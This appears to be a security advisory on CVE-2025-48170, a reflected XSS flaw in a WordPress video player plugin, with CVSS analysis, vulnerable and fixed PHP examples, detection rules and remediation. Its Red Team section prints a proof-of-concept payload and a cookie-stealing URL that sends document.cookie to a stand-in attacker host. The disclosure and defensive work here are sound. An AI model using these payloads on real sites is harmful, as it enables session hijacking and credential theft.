CVE-2025-48170

Executive Summary

CVE-2025-48170 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup Universal Video Player - Addon for WPBakery Page Builder (plugin slug: lbg-universal-video-player-addon-visual-composer). This WordPress plugin, up to and including version 3.2.1, fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. The vulnerability is triggered when a victim clicks a crafted link, leading to script execution in the context of the victim's browser session. With a CVSS score of 7.1 (High), this flaw poses a significant risk to WordPress sites using this plugin, enabling session hijacking, credential theft, and defacement. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low active exploitation at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is part of the WordPress ecosystem, site administrators must ensure they are using the latest version and monitor for updates from LambertGroup. The lack of a patch increases supply chain risk, as compromised sites can be used to distribute malware or phishing pages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a malicious link.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Some content modification possible.
• Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: High. Reflected XSS can be used in targeted phishing campaigns, leading to account takeover or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the lbg-universal-video-player-addon-visual-composer plugin, which extends WPBakery Page Builder with video player functionality. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, parameters passed via GET requests (e.g., ?video_id=...) are echoed back without proper encoding, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
2. The victim clicks the link (e.g., via email or social engineering).
3. The plugin processes the request and reflects the payload in the response without sanitization.
4. The victim's browser executes the injected script, which can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses() WordPress sanitization functions.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP):

<?php
// In a shortcode or template file
$video_id = $_GET['video_id'];
echo '<div id="video-' . $video_id . '">Player</div>';
?>

Patched Code (Hypothetical):

<?php
$video_id = isset($_GET['video_id']) ? sanitize_text_field($_GET['video_id']) : '';
echo '<div id="video-' . esc_attr($video_id) . '">Player</div>';
?>

The fix uses sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC) URL:

http://target-site.com/?video_id=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

http://target-site.com/?video_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

1. Install WordPress with WPBakery Page Builder and the vulnerable plugin (version 3.2.1).
2. Create a page using the Universal Video Player element.
3. Access the page with the malicious video_id parameter.
4. Observe the JavaScript execution in the browser.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags or onerror/onload event handlers in query parameters.
• Use WAF rules to block reflected XSS patterns (e.g., <script, javascript:).

Mitigation:

• Temporarily disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) with XSS protection.
• Apply input validation and output encoding at the application level.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests with video_id parameter containing <script>, %3Cscript%3E, or onerror= patterns.
  • Outbound connections to attacker-controlled domains from the victim's browser.

• File IOCs:

  • Modified plugin files (e.g., lbg-universal-video-player-addon-visual-composer/ directory) containing injected code.

• Log IOCs:

  • Web server logs showing repeated requests with suspicious query strings targeting the plugin's endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_48170_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Universal Video Player plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48170"
    strings:
        $xss1 = /video_id=.*<script/i
        $xss2 = /video_id=.*%3Cscript%3E/i
        $xss3 = /video_id=.*onerror=/i
        $xss4 = /video_id=.*onload=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Universal Video Player Plugin
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects reflected XSS attempts in HTTP requests targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'video_id='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in query strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48170 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"video_id="; http_uri; pcre:"/video_id=.*(<script|%3Cscript%3E|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by LambertGroup.
2. Implement a WAF with rules to block reflected XSS patterns.
3. Educate users about phishing links and the risks of clicking untrusted URLs.

Long-Term Fix:

• Apply input validation and output encoding in all plugin templates and shortcodes.
• Use WordPress built-in functions like esc_html(), esc_attr(), and wp_kses().
• Regularly update plugins and monitor for security advisories.

Workaround:

• If the plugin cannot be disabled, restrict access to the vulnerable page via .htaccess or a security plugin.

Valters IT